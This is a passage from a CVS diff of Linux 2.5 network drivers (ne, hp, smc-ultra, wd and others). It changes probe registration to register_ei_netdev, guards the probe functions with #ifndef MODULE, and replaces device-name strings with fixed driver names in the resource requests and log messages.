*/ @@ -205,8 +207,7 @@ if (ei_debug && version_printed++ == 0) printk(version); - for (i = 0; i < 6; i++) - printk(" %02X", station_addr[i]); + printk("e2100: E2100 at %#3x", ioaddr); if (dev->irq < 2) { int irqlist[] = {15,11,10,12,5,9,3,4}, i; @@ -438,7 +439,7 @@ dev->mem_start = mem[this_dev]; dev->mem_end = xcvr[this_dev]; /* low 4bits = xcvr sel. */ if (do_e2100_probe(dev) == 0) { - if (register_netdev(dev) == 0) { + if (register_ei_netdev(dev) == 0) { dev_e21[found++] = dev; continue; } Index: kernel-2.5/drivers/net/es3210.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/es3210.c,v retrieving revision 1.1.1.4 diff -u -r1.1.1.4 es3210.c --- kernel-2.5/drivers/net/es3210.c 19 Feb 2004 08:55:00 -0000 1.1.1.4 +++ kernel-2.5/drivers/net/es3210.c 13 Mar 2004 00:25:39 -0000 @@ -161,6 +161,7 @@ release_region(dev->base_addr, ES_IO_EXTENT); } +#ifndef MODULE struct net_device * __init es_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -175,7 +176,7 @@ err = do_es_probe(dev); if (err) goto out; - err = register_netdev(dev); + err = register_ei_netdev(dev); if (err) goto out1; return dev; @@ -185,6 +186,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init es_probe1(struct net_device *dev, int ioaddr) { @@ -221,9 +223,9 @@ goto out; } - printk("es3210.c: ES3210 rev. %ld at %#x, node", eisa_id>>24, ioaddr); + printk("es3210.c: ES3210 rev. %ld at %#x", eisa_id>>24, ioaddr); for(i = 0; i < ETHER_ADDR_LEN; i++) - printk(" %02x", (dev->dev_addr[i] = inb(ioaddr + ES_SA_PROM + i))); + dev->dev_addr[i] = inb(ioaddr + ES_SA_PROM + i); /* Snarf the interrupt now. */ if (dev->irq == 0) { @@ -434,7 +436,7 @@ dev->base_addr = io[this_dev]; dev->mem_start = mem[this_dev]; if (do_es_probe(dev) == 0) { - if (register_netdev(dev) == 0) { + if (register_ei_netdev(dev) == 0) { dev_es3210[found++] = dev; continue; } Index: kernel-2.5/drivers/net/hp-plus.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/hp-plus.c,v retrieving revision 1.1.1.4 diff -u -r1.1.1.4 hp-plus.c --- kernel-2.5/drivers/net/hp-plus.c 19 Feb 2004 08:55:01 -0000 1.1.1.4 +++ kernel-2.5/drivers/net/hp-plus.c 13 Mar 2004 01:57:57 -0000 @@ -142,6 +142,7 @@ release_region(dev->base_addr - NIC_OFFSET, HP_IO_EXTENT); } +#ifndef MODULE struct net_device * __init hp_plus_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -156,7 +157,7 @@ err = do_hpp_probe(dev); if (err) goto out; - err = register_netdev(dev); + err = register_ei_netdev(dev); if (err) goto out1; return dev; @@ -166,6 +167,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif /* Do the interesting part of the probe at a single address. */ static int __init hpp_probe1(struct net_device *dev, int ioaddr) @@ -176,7 +178,7 @@ int mem_start; static unsigned version_printed; - if (!request_region(ioaddr, HP_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, HP_IO_EXTENT, "hp-plus")) return -EBUSY; /* Check for the HP+ signature, 50 48 0x 53. */ @@ -189,7 +191,7 @@ if (ei_debug && version_printed++ == 0) printk(version); - printk("%s: %s at %#3x,", dev->name, name, ioaddr); + printk("hp-plus: %s at %#3x,", name, ioaddr); /* Retrieve and checksum the station address. */ outw(MAC_Page, ioaddr + HP_PAGING); @@ -456,7 +458,7 @@ dev->irq = irq[this_dev]; dev->base_addr = io[this_dev]; if (do_hpp_probe(dev) == 0) { - if (register_netdev(dev) == 0) { + if (register_ei_netdev(dev) == 0) { dev_hpp[found++] = dev; continue; } Index: kernel-2.5/drivers/net/hp.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/hp.c,v retrieving revision 1.1.1.4 diff -u -r1.1.1.4 hp.c --- kernel-2.5/drivers/net/hp.c 19 Feb 2004 08:55:01 -0000 1.1.1.4 +++ kernel-2.5/drivers/net/hp.c 13 Mar 2004 02:00:32 -0000 @@ -106,6 +106,7 @@ release_region(dev->base_addr - NIC_OFFSET, HP_IO_EXTENT); } +#ifndef MODULE struct net_device * __init hp_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -120,7 +121,7 @@ err = do_hp_probe(dev); if (err) goto out; - err = register_netdev(dev); + err = register_ei_netdev(dev); if (err) goto out1; return dev; @@ -130,6 +131,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init hp_probe1(struct net_device *dev, int ioaddr) { @@ -137,7 +139,7 @@ const char *name; static unsigned version_printed; - if (!request_region(ioaddr, HP_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, HP_IO_EXTENT, "hp")) return -EBUSY; /* Check for the HP physical address, 08 00 09 xx xx xx. */ @@ -164,10 +166,10 @@ if (ei_debug && version_printed++ == 0) printk(version); - printk("%s: %s (ID %02x) at %#3x,", dev->name, name, board_id, ioaddr); + printk("hp: %s (ID %02x) at %#3x", name, board_id, ioaddr); for(i = 0; i < ETHER_ADDR_LEN; i++) - printk(" %2.2x", dev->dev_addr[i] = inb(ioaddr + i)); + dev->dev_addr[i] = inb(ioaddr + i); /* Snarf the interrupt now. Someday this could be moved to open(). */ if (dev->irq < 2) { @@ -182,7 +184,7 @@ outb_p(irqmap[irq] | HP_RUN, ioaddr + HP_CONFIGURE); outb_p( 0x00 | HP_RUN, ioaddr + HP_CONFIGURE); if (irq == probe_irq_off(cookie) /* It's a good IRQ line! */ - && request_irq (irq, ei_interrupt, 0, dev->name, dev) == 0) { + && request_irq (irq, ei_interrupt, 0, "hp", dev) == 0) { printk(" selecting IRQ %d.\n", irq); dev->irq = *irqp; break; @@ -197,12 +199,14 @@ } else { if (dev->irq == 2) dev->irq = 9; - if ((retval = request_irq(dev->irq, ei_interrupt, 0, dev->name, dev))) { + if ((retval = request_irq(dev->irq, ei_interrupt, 0, "hp", dev))) { printk (" unable to get IRQ %d.\n", dev->irq); goto out; } } + printk("\n"); + /* Set the base address to point to the NIC, not the "real" base! */ dev->base_addr = ioaddr + NIC_OFFSET; dev->open = &hp_open; @@ -425,7 +429,7 @@ dev->irq = irq[this_dev]; dev->base_addr = io[this_dev]; if (do_hp_probe(dev) == 0) { - if (register_netdev(dev) == 0) { + if (register_ei_netdev(dev) == 0) { dev_hp[found++] = dev; continue; } Index: kernel-2.5/drivers/net/hydra.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/hydra.c,v retrieving revision 1.1.1.5 diff -u -r1.1.1.5 hydra.c --- kernel-2.5/drivers/net/hydra.c 11 Mar 2004 02:55:27 -0000 1.1.1.5 +++ kernel-2.5/drivers/net/hydra.c 13 Mar 2004 00:32:58 -0000 @@ -123,10 +123,6 @@ return -EAGAIN; } - printk("%s: hydra at 0x%08lx, address %02x:%02x:%02x:%02x:%02x:%02x (hydra.c " HYDRA_VERSION ")\n", dev->name, z->resource.start, - dev->dev_addr[0], dev->dev_addr[1], dev->dev_addr[2], - dev->dev_addr[3], dev->dev_addr[4], dev->dev_addr[5]); - ei_status.name = name; ei_status.tx_start_page = start_page; ei_status.stop_page = stop_page; @@ -144,7 +140,7 @@ dev->stop = &hydra_close; NS8390_init(dev, 0); - err = register_netdev(dev); + err = register_ei_netdev(dev); if (err) { free_irq(IRQ_AMIGA_PORTS, dev); free_netdev(dev); @@ -235,6 +231,7 @@ static int __init hydra_init_module(void) { + printk("hydra.c " HYDRA_VERSION "\n"); return zorro_module_init(&hydra_driver); } Index: kernel-2.5/drivers/net/lne390.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/lne390.c,v retrieving revision 1.1.1.4 diff -u -r1.1.1.4 lne390.c --- kernel-2.5/drivers/net/lne390.c 19 Feb 2004 08:55:01 -0000 1.1.1.4 +++ kernel-2.5/drivers/net/lne390.c 13 Mar 2004 00:33:37 -0000 @@ -112,7 +112,7 @@ SET_MODULE_OWNER(dev); if (ioaddr > 0x1ff) { /* Check a single specified location. */ - if (!request_region(ioaddr, LNE390_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, LNE390_IO_EXTENT, "lne390")) return -EBUSY; ret = lne390_probe1(dev, ioaddr); if (ret) @@ -131,7 +131,7 @@ /* EISA spec allows for up to 16 slots, but 8 is typical. */ for (ioaddr = 0x1000; ioaddr < 0x9000; ioaddr += 0x1000) { - if (!request_region(ioaddr, LNE390_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, LNE390_IO_EXTENT, "lne390")) continue; if (lne390_probe1(dev, ioaddr) == 0) return 0; @@ -151,6 +151,7 @@ iounmap((void *)dev->mem_start); } +#ifndef MODULE struct net_device * __init lne390_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -165,7 +166,7 @@ err = do_lne390_probe(dev); if (err) goto out; - err = register_netdev(dev); + err = register_ei_netdev(dev); if (err) goto out1; return dev; @@ -175,6 +176,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init lne390_probe1(struct net_device *dev, int ioaddr) { @@ -211,10 +213,9 @@ } #endif - printk("lne390.c: LNE390%X in EISA slot %d, address", 0xa+revision, ioaddr/0x1000); + printk("lne390.c: LNE390%X in EISA slot %d.\nlne3900.c: ", 0xa+revision, ioaddr/0x1000); for(i = 0; i < ETHER_ADDR_LEN; i++) - printk(" %02x", (dev->dev_addr[i] = inb(ioaddr + LNE390_SA_PROM + i))); - printk(".\nlne390.c: "); + dev->dev_addr[i] = inb(ioaddr + LNE390_SA_PROM + i); /* Snarf the interrupt now. CFG file has them all listed as `edge' with share=NO */ if (dev->irq == 0) { @@ -228,7 +229,7 @@ } printk(" IRQ %d,", dev->irq); - if ((ret = request_irq(dev->irq, ei_interrupt, 0, dev->name, dev))) { + if ((ret = request_irq(dev->irq, ei_interrupt, 0, "lne390", dev))) { printk (" unable to get IRQ %d.\n", dev->irq); return ret; } @@ -429,7 +430,7 @@ dev->base_addr = io[this_dev]; dev->mem_start = mem[this_dev]; if (do_lne390_probe(dev) == 0) { - if (register_netdev(dev) == 0) { + if (register_ei_netdev(dev) == 0) { dev_lne[found++] = dev; continue; } Index: kernel-2.5/drivers/net/mac8390.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/mac8390.c,v retrieving revision 1.1.1.8 diff -u -r1.1.1.8 mac8390.c --- kernel-2.5/drivers/net/mac8390.c 19 Feb 2004 08:55:01 -0000 1.1.1.8 +++ kernel-2.5/drivers/net/mac8390.c 13 Mar 2004 00:34:42 -0000 @@ -273,16 +273,15 @@ of where its memory and registers are. */ if (nubus_get_func_dir(ndev, &dir) == -1) { - printk(KERN_ERR "%s: Unable to get Nubus functional" + printk(KERN_ERR "mac8390: Unable to get Nubus functional" " directory for slot %X!\n", - dev->name, ndev->board->slot); + ndev->board->slot); continue; } /* Get the MAC address */ if ((nubus_find_rsrc(&dir, NUBUS_RESID_MAC_ADDRESS, &ent)) == -1) { - printk(KERN_INFO "%s: Couldn't get MAC address!\n", - dev->name); + printk(KERN_INFO "mac8390: Couldn't get MAC address!\n"); continue; } else { nubus_get_rsrc_mem(dev->dev_addr, &ent, 6); @@ -299,9 +298,9 @@ if (useresources[cardtype] == 1) { nubus_rewinddir(&dir); if (nubus_find_rsrc(&dir, NUBUS_RESID_MINOR_BASEOS, &ent) == -1) { - printk(KERN_ERR "%s: Memory offset resource" + printk(KERN_ERR "mac8390: Memory offset resource" " for slot %X not found!\n", - dev->name, ndev->board->slot); + ndev->board->slot); continue; } nubus_get_rsrc_mem(&offset, &ent, 4); @@ -310,10 +309,10 @@ dev->base_addr = dev->mem_start + 0x10000; nubus_rewinddir(&dir); if (nubus_find_rsrc(&dir, NUBUS_RESID_MINOR_LENGTH, &ent) == -1) { - printk(KERN_INFO "%s: Memory length resource" + printk(KERN_INFO "mac8390: Memory length resource" " for slot %X not found" ", probing\n", - dev->name, ndev->board->slot); + ndev->board->slot); offset = mac8390_memsize(dev->mem_start); } else { nubus_get_rsrc_mem(&offset, &ent, 4); @@ -368,7 +367,7 @@ if (!ndev) goto out; - err = register_netdev(dev); + err = register_ei_netdev(dev); if (err) goto out; return dev; @@ -515,18 +514,9 @@ NS8390_init(dev, 0); /* Good, done, now spit out some messages */ - printk(KERN_INFO "%s: %s in slot %X (type %s)\n", - dev->name, ndev->board->name, ndev->board->slot, cardname[type]); - printk(KERN_INFO "MAC "); - { - int i; - for (i = 0; i < 6; i++) { - printk("%2.2x", dev->dev_addr[i]); - if (i < 5) - printk(":"); - } - } - printk(" IRQ %d, shared memory at %#lx-%#lx, %d-bit access.\n", + printk(KERN_INFO "%s in slot %X (type %s)\n", + ndev->board->name, ndev->board->slot, cardname[type]); + printk(KERN_INFO "IRQ %d, shared memory at %#lx-%#lx, %d-bit access.\n", dev->irq, dev->mem_start, dev->mem_end-1, access_bitmode?32:16); return 0; Index: kernel-2.5/drivers/net/ne.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/ne.c,v retrieving revision 1.1.1.7 diff -u -r1.1.1.7 ne.c --- kernel-2.5/drivers/net/ne.c 11 Mar 2004 02:55:26 -0000 1.1.1.7 +++ kernel-2.5/drivers/net/ne.c 13 Mar 2004 00:35:03 -0000 @@ -203,6 +203,7 @@ release_region(dev->base_addr, NE_IO_EXTENT); } +#ifndef MODULE struct net_device * __init ne_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -217,7 +218,7 @@ err = do_ne_probe(dev); if (err) goto out; - err = register_netdev(dev); + err = register_ei_netdev(dev); if (err) goto out1; return dev; @@ -227,6 +228,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init ne_probe_isapnp(struct net_device *dev) { @@ -284,7 +286,7 @@ int reg0, ret; static unsigned version_printed; - if (!request_region(ioaddr, NE_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, NE_IO_EXTENT, "ne")) return -EBUSY; reg0 = inb_p(ioaddr); @@ -472,13 +474,9 @@ dev->base_addr = ioaddr; - for(i = 0; i < ETHER_ADDR_LEN; i++) { - printk(" %2.2x", SA_prom[i]); - dev->dev_addr[i] = SA_prom[i]; - } + memcpy(dev->dev_addr, SA_prom, ETHER_ADDR_LEN); - printk("\n%s: %s found at %#x, using IRQ %d.\n", - dev->name, name, ioaddr, dev->irq); + printk("\n"); ei_status.name = name; ei_status.tx_start_page = start_page; @@ -791,7 +789,7 @@ dev->mem_end = bad[this_dev]; dev->base_addr = io[this_dev]; if (do_ne_probe(dev) == 0) { - if (register_netdev(dev) == 0) { + if (register_ei_netdev(dev) == 0) { dev_ne[found++] = dev; continue; } Index: kernel-2.5/drivers/net/ne2.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/ne2.c,v retrieving revision 1.1.1.5 diff -u -r1.1.1.5 ne2.c --- kernel-2.5/drivers/net/ne2.c 19 Feb 2004 08:55:02 -0000 1.1.1.5 +++ kernel-2.5/drivers/net/ne2.c 13 Mar 2004 00:35:26 -0000 @@ -284,6 +284,7 @@ release_region(dev->base_addr, NE_IO_EXTENT); } +#ifndef MODULE struct net_device * __init ne2_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -298,7 +299,7 @@ err = do_ne2_probe(dev); if (err) goto out; - err = register_netdev(dev); + err = register_ei_netdev(dev); if (err) goto out1; return dev; @@ -308,6 +309,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int ne2_procinfo(char *buf, int slot, struct net_device *dev) { @@ -368,7 +370,7 @@ irq = irqs[(POS & 0x60)>>5]; } - if (!request_region(base_addr, NE_IO_EXTENT, dev->name)) + if (!request_region(base_addr, NE_IO_EXTENT, "ne2")) return -EBUSY; #ifdef DEBUG @@ -470,7 +472,7 @@ /* Snarf the interrupt now. There's no point in waiting since we cannot share and the board will usually be enabled. */ - retval = request_irq(dev->irq, ei_interrupt, 0, dev->name, dev); + retval = request_irq(dev->irq, ei_interrupt, 0, "ne2", dev); if (retval) { printk (" unable to get IRQ %d (irqval=%d).\n", dev->irq, retval); @@ -479,13 +481,9 @@ dev->base_addr = base_addr; - for(i = 0; i < ETHER_ADDR_LEN; i++) { - printk(" %2.2x", SA_prom[i]); - dev->dev_addr[i] = SA_prom[i]; - } + memcpy(dev->dev_addr, SA_prom, ETHER_ADDR_LEN); - printk("\n%s: %s found at %#x, using IRQ %d.\n", - dev->name, name, base_addr, dev->irq); + printk("\n"); mca_set_adapter_procfn(slot, (MCA_ProcFn) ne2_procinfo, dev); @@ -793,7 +791,7 @@ dev->mem_end = bad[this_dev]; dev->base_addr = io[this_dev]; if (do_ne2_probe(dev) == 0) { - if (register_netdev(dev) == 0) { + if (register_ei_netdev(dev) == 0) { dev_ne[found++] = dev; continue; } Index: kernel-2.5/drivers/net/ne2k-pci.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/ne2k-pci.c,v retrieving revision 1.1.1.10 diff -u -r1.1.1.10 ne2k-pci.c --- kernel-2.5/drivers/net/ne2k-pci.c 19 Feb 2004 08:55:02 -0000 1.1.1.10 +++ kernel-2.5/drivers/net/ne2k-pci.c 13 Mar 2004 00:20:04 -0000 @@ -361,17 +361,12 @@ dev->ethtool_ops = &ne2k_pci_ethtool_ops; NS8390_init(dev, 0); - i = register_netdev(dev); + memcpy(dev->dev_addr, SA_prom, 6); + + i = register_ei_netdev(dev); if (i) goto err_out_free_netdev; - printk("%s: %s found at %#lx, IRQ %d, ", - dev->name, pci_clone_list[chip_idx].name, ioaddr, dev->irq); - for(i = 0; i < 6; i++) { - printk("%2.2X%s", SA_prom[i], i == 5 ? ".\n": ":"); - dev->dev_addr[i] = SA_prom[i]; - } - return 0; err_out_free_netdev: Index: kernel-2.5/drivers/net/ne2k_cbus.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/ne2k_cbus.c,v retrieving revision 1.1.1.3 diff -u -r1.1.1.3 ne2k_cbus.c --- kernel-2.5/drivers/net/ne2k_cbus.c 19 Feb 2004 08:55:02 -0000 1.1.1.3 +++ kernel-2.5/drivers/net/ne2k_cbus.c 13 Mar 2004 02:03:51 -0000 @@ -187,6 +187,7 @@ ne2k_cbus_destroy(dev); } +#ifndef MODULE struct net_device * __init ne_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -201,7 +202,7 @@ err = do_ne_probe(dev); if (err) goto out; - err = register_netdev(dev); + err = register_ei_netdev(dev); if (err) goto out1; return dev; @@ -211,6 +212,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init ne_probe_cbus(struct net_device *dev, const struct ne2k_cbus_hwinfo *hw, int ioaddr, int irq) { @@ -263,7 +265,7 @@ for (rlist = hw->regionlist; rlist->range; rlist++) if (!request_region(ioaddr + rlist->start, - rlist->range, dev->name)) { + rlist->range, "ne2k_cbus")) { ret = -EBUSY; goto err_out; } @@ -508,13 +510,10 @@ dev->base_addr = ioaddr; - for(i = 0; i < ETHER_ADDR_LEN; i++) { - printk(" %2.2x", SA_prom[i]); - dev->dev_addr[i] = SA_prom[i]; - } + memcpy(dev->dev_addr, SA_prom, ETHER_ADDR_LEN); - printk("\n%s: %s found at %#x, hardware type %d(%s), using IRQ %d.\n", - dev->name, name, ioaddr, hw->hwtype, hw->hwident, dev->irq); + printk("\nne2k_cbus: %s found at %#x, hardware type %d(%s), using IRQ %d.\n", + name, ioaddr, hw->hwtype, hw->hwident, dev->irq); ei_status.name = name; ei_status.tx_start_page = start_page; @@ -847,7 +846,7 @@ dev->base_addr = io[this_dev]; dev->mem_start = hwtype[this_dev]; if (do_ne_probe(dev) == 0) { - if (register_netdev(dev) == 0) { + if (register_ei_netdev(dev) == 0) { dev_ne[found++] = dev; continue; } Index: kernel-2.5/drivers/net/ne3210.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/ne3210.c,v retrieving revision 1.1.1.5 diff -u -r1.1.1.5 ne3210.c --- kernel-2.5/drivers/net/ne3210.c 19 Feb 2004 08:55:02 -0000 1.1.1.5 +++ kernel-2.5/drivers/net/ne3210.c 13 Mar 2004 00:47:38 -0000 @@ -111,13 +111,13 @@ device->driver_data = dev; ioaddr = edev->base_addr; - if (!request_region(ioaddr, NE3210_IO_EXTENT, dev->name)) { + if (!request_region(ioaddr, NE3210_IO_EXTENT, "ne3210")) { retval = -EBUSY; goto out; } if (!request_region(ioaddr + NE3210_CFG1, - NE3210_CFG_EXTENT, dev->name)) { + NE3210_CFG_EXTENT, "ne3210")) { retval = -EBUSY; goto out1; } @@ -133,14 +133,14 @@ printk("ne3210.c: NE3210 in EISA slot %d, media: %s, addr:", edev->slot, ifmap[port_index]); for(i = 0; i < ETHER_ADDR_LEN; i++) - printk(" %02x", (dev->dev_addr[i] = inb(ioaddr + NE3210_SA_PROM + i))); + dev->dev_addr[i] = inb(ioaddr + NE3210_SA_PROM + i); /* Snarf the interrupt now. CFG file has them all listed as `edge' with share=NO */ dev->irq = irq_map[(inb(ioaddr + NE3210_CFG2) >> 3) & 0x07]; printk(".\nne3210.c: using IRQ %d, ", dev->irq); - retval = request_irq(dev->irq, ei_interrupt, 0, dev->name, dev); + retval = request_irq(dev->irq, ei_interrupt, 0, "ne3210", dev); if (retval) { printk (" unable to get IRQ %d.\n", dev->irq); goto out2; @@ -163,7 +163,7 @@ } } - if (!request_mem_region (phys_mem, NE3210_STOP_PG*0x100, dev->name)) { + if (!request_mem_region (phys_mem, NE3210_STOP_PG*0x100, "ne3210")) { printk ("ne3210.c: Unable to request shared memory at physical address %#lx\n", phys_mem); goto out3; @@ -207,7 +207,7 @@ dev->stop = &ne3210_close; dev->if_port = ifmap_val[port_index]; - if ((retval = register_netdev (dev))) + if ((retval = register_ei_netdev (dev))) goto out5; NS8390_init(dev, 0); Index: kernel-2.5/drivers/net/oaknet.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/oaknet.c,v retrieving revision 1.1.1.3 diff -u -r1.1.1.3 oaknet.c --- kernel-2.5/drivers/net/oaknet.c 19 Feb 2004 08:55:02 -0000 1.1.1.3 +++ kernel-2.5/drivers/net/oaknet.c 13 Mar 2004 00:50:27 -0000 @@ -164,18 +164,13 @@ ret = -EAGAIN; if (request_irq(dev->irq, ei_interrupt, 0, name, dev)) { printk("%s: unable to request interrupt %d.\n", - dev->name, dev->irq); + name, dev->irq); goto out_region; } /* Tell the world about what and where we've found. */ - printk("%s: %s at", dev->name, name); - for (i = 0; i < ETHER_ADDR_LEN; ++i) { - dev->dev_addr[i] = bip->bi_enetaddr[i]; - printk("%c%.2x", (i ? ':' : ' '), dev->dev_addr[i]); - } - printk(", found at %#lx, using IRQ %d.\n", dev->base_addr, dev->irq); + memcpy(dev->dev_addr, bip->bi_enetaddr, ETHER_ADDR_LEN); /* Set up some required driver fields and then we're done. */ @@ -194,7 +189,7 @@ dev->stop = oaknet_close; NS8390_init(dev, FALSE); - ret = register_netdev(dev); + ret = register_ei_netdev(dev); if (ret) goto out_irq; Index: kernel-2.5/drivers/net/smc-mca.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/smc-mca.c,v retrieving revision 1.1.1.7 diff -u -r1.1.1.7 smc-mca.c --- kernel-2.5/drivers/net/smc-mca.c 19 Feb 2004 08:55:05 -0000 1.1.1.7 +++ kernel-2.5/drivers/net/smc-mca.c 13 Mar 2004 00:51:12 -0000 @@ -265,7 +265,7 @@ goto err_unclaim; } - if (!request_region(ioaddr, ULTRA_IO_EXTENT, dev->name)) { + if (!request_region(ioaddr, ULTRA_IO_EXTENT, "smc-mca")) { rc = -ENODEV; goto err_unclaim; } @@ -276,7 +276,7 @@ printk(KERN_INFO "smc_mca[%d]: Parameters: %#3x,", slot + 1, ioaddr); for (i = 0; i < 6; i++) - printk(" %2.2X", dev->dev_addr[i] = inb(ioaddr + 8 + i)); + dev->dev_addr[i] = inb(ioaddr + 8 + i); /* Switch from the station address to the alternate register set * and read the useful registers there. @@ -327,7 +327,7 @@ NS8390_init(dev, 0); - rc = register_netdev(dev); + rc = register_ei_netdev(dev); if (rc) goto err_release_region; Index: kernel-2.5/drivers/net/smc-ultra.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/smc-ultra.c,v retrieving revision 1.1.1.6 diff -u -r1.1.1.6 smc-ultra.c --- kernel-2.5/drivers/net/smc-ultra.c 19 Feb 2004 08:55:05 -0000 1.1.1.6 +++ kernel-2.5/drivers/net/smc-ultra.c 13 Mar 2004 02:17:34 -0000 @@ -167,6 +167,7 @@ release_region(dev->base_addr - ULTRA_NIC_OFFSET, ULTRA_IO_EXTENT); } +#ifndef MODULE struct net_device * __init ultra_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -181,7 +182,7 @@ err = do_ultra_probe(dev); if (err) goto out; - err = register_netdev(dev); + err = register_ei_netdev(dev); if (err) goto out1; return dev; @@ -191,6 +192,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init ultra_probe1(struct net_device *dev, int ioaddr) { @@ -204,7 +206,7 @@ unsigned char idreg = inb(ioaddr + 7); unsigned char reg4 = inb(ioaddr + 4) & 0x7f; - if (!request_region(ioaddr, ULTRA_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, ULTRA_IO_EXTENT, "smc-ultra")) return -EBUSY; /* Check the ID nibble. */ @@ -229,10 +231,10 @@ model_name = (idreg & 0xF0) == 0x20 ? "SMC Ultra" : "SMC EtherEZ"; - printk("%s: %s at %#3x,", dev->name, model_name, ioaddr); + printk("smc-ultra: %s at %#3x", model_name, ioaddr); for (i = 0; i < 6; i++) - printk(" %2.2X", dev->dev_addr[i] = inb(ioaddr + 8 + i)); + dev->dev_addr[i] = inb(ioaddr + 8 + i); /* Switch from the station address to the alternate register set and read the useful registers there. */ @@ -561,7 +563,7 @@ dev->irq = irq[this_dev]; dev->base_addr = io[this_dev]; if (do_ultra_probe(dev) == 0) { - if (register_netdev(dev) == 0) { + if (register_ei_netdev(dev) == 0) { dev_ultra[found++] = dev; continue; } Index: kernel-2.5/drivers/net/smc-ultra32.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/smc-ultra32.c,v retrieving revision 1.1.1.4 diff -u -r1.1.1.4 smc-ultra32.c --- kernel-2.5/drivers/net/smc-ultra32.c 19 Feb 2004 08:55:05 -0000 1.1.1.4 +++ kernel-2.5/drivers/net/smc-ultra32.c 13 Mar 2004 02:17:55 -0000 @@ -141,7 +141,7 @@ } if (base >= 0x9000) goto out; - err = register_netdev(dev); + err = register_ei_netdev(dev); if (err) goto out1; return dev; @@ -163,7 +163,7 @@ unsigned char reg4; const char *ifmap[] = {"UTP No Link", "", "UTP/AUI", "UTP/BNC"}; - if (!request_region(ioaddr, ULTRA32_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, ULTRA32_IO_EXTENT, "smc-ultra32")) return -EBUSY; if (inb(ioaddr + ULTRA32_IDPORT) == 0xff || @@ -202,10 +202,10 @@ model_name = "SMC Ultra32"; - printk("%s: %s at 0x%X,", dev->name, model_name, ioaddr); + printk("smc-ultra32: %s at 0x%X,", model_name, ioaddr); for (i = 0; i < 6; i++) - printk(" %2.2X", dev->dev_addr[i] = inb(ioaddr + 8 + i)); + dev->dev_addr[i] = inb(ioaddr + 8 + i); /* Switch from the station address to the alternate register set and read the useful registers there. */ Index: kernel-2.5/drivers/net/stnic.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/stnic.c,v retrieving revision 1.1.1.4 diff -u -r1.1.1.4 stnic.c --- kernel-2.5/drivers/net/stnic.c 19 Feb 2004 08:55:05 -0000 1.1.1.4 +++ kernel-2.5/drivers/net/stnic.c 13 Mar 2004 00:53:55 -0000 @@ -127,14 +127,14 @@ /* Snarf the interrupt now. There's no point in waiting since we cannot share and the board will usually be enabled. */ - err = request_irq (dev->irq, ei_interrupt, 0, dev->name, dev); + err = request_irq (dev->irq, ei_interrupt, 0, "stnic", dev); if (err) { printk (KERN_EMERG " unable to get IRQ %d.\n", dev->irq); free_netdev(dev); return err; } - ei_status.name = dev->name; + ei_status.name = "stnic"; ei_status.word16 = 1; #ifdef __LITTLE_ENDIAN__ ei_status.bigendian = 0; @@ -152,7 +152,7 @@ stnic_init (dev); - err = register_netdev(dev); + err = register_ei_netdev(dev); if (err) { free_irq(dev->irq, dev); free_netdev(dev); Index: kernel-2.5/drivers/net/wd.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/wd.c,v retrieving revision 1.1.1.4 diff -u -r1.1.1.4 wd.c --- kernel-2.5/drivers/net/wd.c 19 Feb 2004 08:55:07 -0000 1.1.1.4 +++ kernel-2.5/drivers/net/wd.c 13 Mar 2004 02:18:23 -0000 @@ -131,6 +131,7 @@ release_region(dev->base_addr - WD_NIC_OFFSET, WD_IO_EXTENT); } +#ifndef MODULE struct net_device * __init wd_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -145,7 +146,7 @@ err = do_wd_probe(dev); if (err) goto out; - err = register_netdev(dev); + err = register_ei_netdev(dev); if (err) goto out1; return dev; @@ -155,6 +156,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init wd_probe1(struct net_device *dev, int ioaddr) { @@ -182,9 